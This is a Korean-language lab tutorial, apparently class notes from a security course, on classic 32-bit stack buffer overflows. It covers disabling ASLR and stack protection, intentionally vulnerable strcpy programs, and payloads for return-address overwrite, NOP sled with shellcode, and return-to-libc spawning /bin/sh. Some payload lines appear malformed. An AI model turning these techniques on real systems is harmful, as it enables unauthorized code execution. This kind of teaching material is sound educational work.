메모리 보호 옵션
sudo apt-get install g++-multilib libc6-dev-i386
sudo sysctl -w kernel.randomize_va_space=0 // 랜덤 스택, 라이브러리 해제
gcc -m32 -o a a.c -fno-stack-protector -mpreferred-stack-boundary=2 // SSP 기능 해제 , 더미없애기
1. 더미 value + 실행 코드 주소(ret)
#include <stdio.h>
#include <string.h>
void print(){
printf("eip control success!\n"); ← 정상적인 동작이면 이 함수를 실행할 일이 없다.
} 오버플로우를 이용하여 ret를 변조하고 이 함수가 출력되게 하자
int main(int argc, char* argv[]){
int i = 31337;
int a = 1337;
char buffer[100];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
오버플로우로 ret에 들어가는 값을 바꾸기위해서는 메모리에 쌓이는 모습을 분석해 봐야 한다.
GDB로 확인 해볼때 값이 입력되는 때의 메모리의 상태.
strcpy함수를 호출하고 난 후 esp가 복귀했을 때를 살펴보자
strcpy를 수행하고 난 후의 모습이다. |
esp에서부터 ebp의 사이즈를 구하고 SFT까지 더미값을 채워준다
|
ret에 실행 코드의 주소를 넣으면 ret에서 우리가 원하는 곳으로 점프를 할 것이다. |
ebp와 esp 의 차이는 0xffffd0e8 - 0xffffd07c = 108 이다.
buffer(100) + a(4) + i(4) = 108
ret 까지 도달하려면 SFT까지 더해줘야하기 때문에, 더미의 양안 108+4 = 112 의 크기를 넣어주어야 한다.
더미의 크기 = 112
ret에 print 의 주소를 넣어야 하기때문에 print()의 주소 확인
실행할때 더미값과 함께 주소를 얹어주면
print함수가 출력된걸 확인.
원래 정상적으로 동작하면 print 는 실행해선 안된다.
이런 방법으로 ret의 주소를 이용해 원하는 코드가 있는곳으로 유도해서 공격하는 기법이다.
2. nop(\x90) + shell code
※ shell code : 코드 인젝션 , 즉 프로그램 내에 삽입되는 작은 코드. 공격자가 명령 셸을 제어할 수 있게 해줌
참고 : https://en.wikipedia.org/wiki/Shellcode
int main(int argc, char* argv[]){
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
strcpy를 수행하고 난 후의 모습. |
* nop (\x90) : 다음 명령을 만날때 까지 패스 |
./bigbof01 'Python -c 'print "\x90"*237 + "쉘코드(23byte)" + "nop영역 안의 주소"
nop+쉘코드를 쌓아주고 nop 영역 내의 주소를 ret부분에 지정해주면 nop 영역으로 간 eip가 shellcode를 만날 때 까지 진행할 것이고 shellcode를 실행할 것이다.
3. RTL (Return to Libc)
: Shell code 없이 Exploit 하는것. RET 부분에 공유라이브러리의 주소를 덮어씌우는것이 핵심이다.
함수는 호출되고나서 인자부분 호출하는 방식을 이용하여 호출하는 인자부분을 /bin/sh를 넣어서 실행할 것이다.
char bin[8] = “/bin/sh";
int main(int argc, char* argv[]){
char buffer[8];
printf("/bin/sh addr : 0x%x\n", bin);
strcpy(buffer, argv[1]);
printf("%s\n", buffer); return 0;
}
컴파일 후 실행 시켜보면 \bin\sh 의 주소를 보여줄것이다.
esp 와 ebp로 buff의 크기를 알 수 있다. |
더미값을 구해낸 크기만큼 덮어주고 ret로 sys()로 들어간다. 이때 argv →/bin/sh 부분은 호출된 sys()의 인자 영역이기 때문에 sys()은 /bin/sh를 인자로 사용하기위해 가져오는데 이때 /bin/sh가 실행된다. |
system으로 가기위한 주소는 브레이킹 포인트를 아무데나 찍고 r 로 실행시켜준후 p system으로 주소를 알아 낼 수 있다.
python -c 'print "a"*12 + "\x40\x29\xe4\xf7"+"AAAA"+"\x40\x29\xe4\xf7"
변조 성공
'Kitri_NCS3기 보안과정 > 시스템 해킹' 카테고리의 다른 글
[Reverse Engineering]PE-PE Header (0) | 2017.05.23 |
---|---|
[Reverse Engineering]PE-DOS Header (0) | 2017.05.21 |
170519 힙영역 오버플로우 (0) | 2017.05.19 |
170518 환경변수 변조 (export LD_PRELOAD) (0) | 2017.05.18 |
170515 시스템 해킹, 디버거(GDB)-오버플로우 이해하기 (0) | 2017.05.15 |